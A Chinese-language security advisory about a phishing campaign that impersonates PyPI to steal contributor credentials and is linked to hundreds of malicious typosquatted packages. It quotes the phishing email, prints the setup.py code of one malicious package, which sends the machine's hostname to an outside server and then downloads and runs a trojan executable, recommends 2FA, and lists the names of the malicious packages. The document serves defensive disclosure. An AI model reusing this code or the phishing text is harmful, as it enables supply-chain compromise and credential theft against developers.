简述
OSCS 近期监测到 PyPi 官方发布公告称有攻击者针对 PyPi 上的开源组件开发者进行钓鱼,试图窃取 PyPi 贡献者的凭据。本次攻击是通过贼喊捉贼的假装PyPi官方给恶意包发邮箱进行钓鱼,开发者可以通过开启2FA认证防止被攻击者窃取凭据后更改项目。
钓鱼事件
通过钓鱼邮件获取 PyPi 贡献者的凭据
根据PyPi官方发布的公告得知:
PyPi 贡献者收到了一封网络钓鱼电子邮件,要求他验证他的 PyPi 凭据,导致他进入一个虚假的 PyPi 登录页面,试图窃取他的 PyPi 凭据。
钓鱼邮件的大致内容如下:
“由于PyP在过去被上传过恶意包,谷歌会对PyPi的全量包进行分析。
您收到这封邮件是因为google的安全策略,请使用谷歌验证您的包,以避免您的 PyPi 包从 PyPi.org 删除
9月前未验证的包将被及时移除
如果您目前没有贡献的 PyPi 包,请忽略此邮件
PyPi 团队”

来自攻击者发送的钓鱼邮件
虚假的 PyPi 登录页面,试图窃取 PyPi 贡献者的凭据。

虚假的PyPi登录页面
PyPi官方已声明在不违反TOS或确定为有危害的项目时候,并不会从索引中删除有效的项目。

投放恶意组件包
PyPi 的官方推特账号报告称,这次网络钓鱼攻击与数百个恶意 python 包在内以及更广泛的事件有关。这些恶意软件包已从注册表中删除。

以其中的一个恶意包为例子:
from setuptools import setup, find_packages
import os
import requests
from setuptools.command.install import install
from sys import platform
def send():
try:
env = os.environ['COMPUTERNAME']
t = requests.get("https://linkedopports.com/pyp/resp.php?live=Installation " +env)
if platform == 'win32':
url = 'https://python-release.com/python-install.scr'
filename = 'ini_file_pyp_32.exe'
rq = requests.get(url, allow_redirects=True)
open(filename, 'wb').write(rq.content)
os.system('start '+filename)
except:
pass
demo.py
从上述恶意包的代码中可以直观发现两个可疑的url。
攻击者将 os.environ[‘COMPUTERNAME’] 主机名传输到https://linkedopports.com/pyp/resp.php?live=Installation。
攻击者从https://python-release.com/python-install.scr去下载python-install.scr[木马程序]并去执行它。
总结
OSCS分析认为目前攻击者在不断更新攻击手法,在不断注册小号投毒的基础上,开始试图通过窃取开发者用户账号进行投毒,如果有知名项目被窃取PyPi 凭据,后果不堪设想。
如果您是 PyPi 贡献者,请开启2FA认证防止被窃取凭证后影响PyPi项目。
参考链接
附录
目前这些恶意组件的部分在国内清华源中还未删除,请研发同学避免下载以下恶意包,列表如下:
| 组件名 | 作者 |
| firstbasicpyapp | firstbasicpyapp |
| coingecko-apis | firstbasicpyapp |
| coinmarketcaps | firstbasicpyapp |
| igtool | firstbasicpyapp |
| monkeytypes | firstbasicpyapp |
| multiporn | firstbasicpyapp |
| opencb-python | firstbasicpyapp |
| opencvv-python | firstbasicpyapp |
| pyteseract | firstbasicpyapp |
| seleniun | firstbasicpyapp |
| manganeko | elevatepyapp |
| bcrypto | elevatepyapp |
| deep-translate | elevatepyapp |
| discord.pt | elevatepyapp |
| discord.pu | elevatepyapp |
| instabots | elevatepyapp |
| psycogp2 | elevatepyapp |
| pycryptdome | elevatepyapp |
| pycryptodomes | elevatepyapp |
| pypttt | elevatepyapp |
| pytttsx3 | elevatepyapp |
| pywin31 | elevatepyapp |
| pywin33 | elevatepyapp |
| redist | elevatepyapp |
| tiktok-bots | elevatepyapp |
| yandex-map | elevatepyapp |
| arcalife | firstbasicpyapp |
| linkedin-scrape | firstbasicpyapp |
| memory-profile | firstbasicpyapp |
| osrs-hiscore | firstbasicpyapp |
| pymongosinspired13 | firstbasicpyapp |
| selenuim | firstbasicpyapp |
| ymongo | firstbasicpyapp |
| 1337c | praisepyapp |
| 1337z | praisepyapp |
| andex-maps | praisepyapp |
| deep-translation | praisepyapp |
| eautifulsoup4 | praisepyapp |
| emoji-country-flags | praisepyapp |
| emoki | praisepyapp |
| etuptools | praisepyapp |
| keybaord | praisepyapp |
| pencv-python | praisepyapp |
| proxyscrope | praisepyapp |
| pydobc | praisepyapp |
| speechrecongition | praisepyapp |
| xlibrary | praisepyapp |
| yautogui | praisepyapp |
| yptt | praisepyapp |
| etuptool | pypiappz |
| deeepl | pypiappz |
| discordhook | pypiappz |
| eepl | pypiappz |
| elenium | pypiappz |
| igtoolz | pypiappz |
| proxycrape | pypiappz |
| proxyrape | pypiappz |
| statmodel | pypiappz |
| statmodels | pypiappz |
| statsmodel | pypiappz |
| yaudio | pypiappz |
| yinance | pypiappz |
| yinstaller | pypiappz |
| ywin32 | pypiappz |
| asn2crypto | pypzz |
| bitcoinliv | pypzz |
| crypto-data-fetch | pypzz |
| crypto-get-price | pypzz |
| crypto-open | pypzz |
| crypto-os | pypzz |
| cryptobalance | pypzz |
| django-metamaks-auth | pypzz |
| django-metamask-aut | pypzz |
| django-web2-auth | pypzz |
| django-web3-aut | pypzz |
| django-web4-auth | pypzz |
| hameni | pypzz |
| historic-crypt | pypzz |
| jango-metamask-auth | pypzz |
| jango-web3-auth | pypzz |
| pyvrypto | pypzz |
| pyxrypto | pypzz |
| ycrypto | pypzz |
| ycryptodome | pypzz |
| ccsv | pypzz1 |
| contextliv | pypzz1 |
| cryptographyy | pypzz1 |
| csvv | pypzz1 |
| cvs | pypzz1 |
| flak7 | pypzz1 |
| flak8 | pypzz1 |
| flake7 | pypzz1 |
| fuzywuzy | pypzz1 |
| fuzywuzzy | pypzz1 |
| fuzzywuzy | pypzz1 |
| fuzzzywuzzy | pypzz1 |
| hreading | pypzz1 |
| laysound | pypzz1 |
| playsoun | pypzz1 |
| pyinstaler | pypzz1 |
| rgparse | pypzz1 |
| threadin | pypzz1 |
| threeding | pypzz1 |
| uzzywuzzy | pypzz1 |
| we3 | pypzz1 |
| wec3 | pypzz1 |
| weg3 | pypzz1 |
| wen3 | pypzz1 |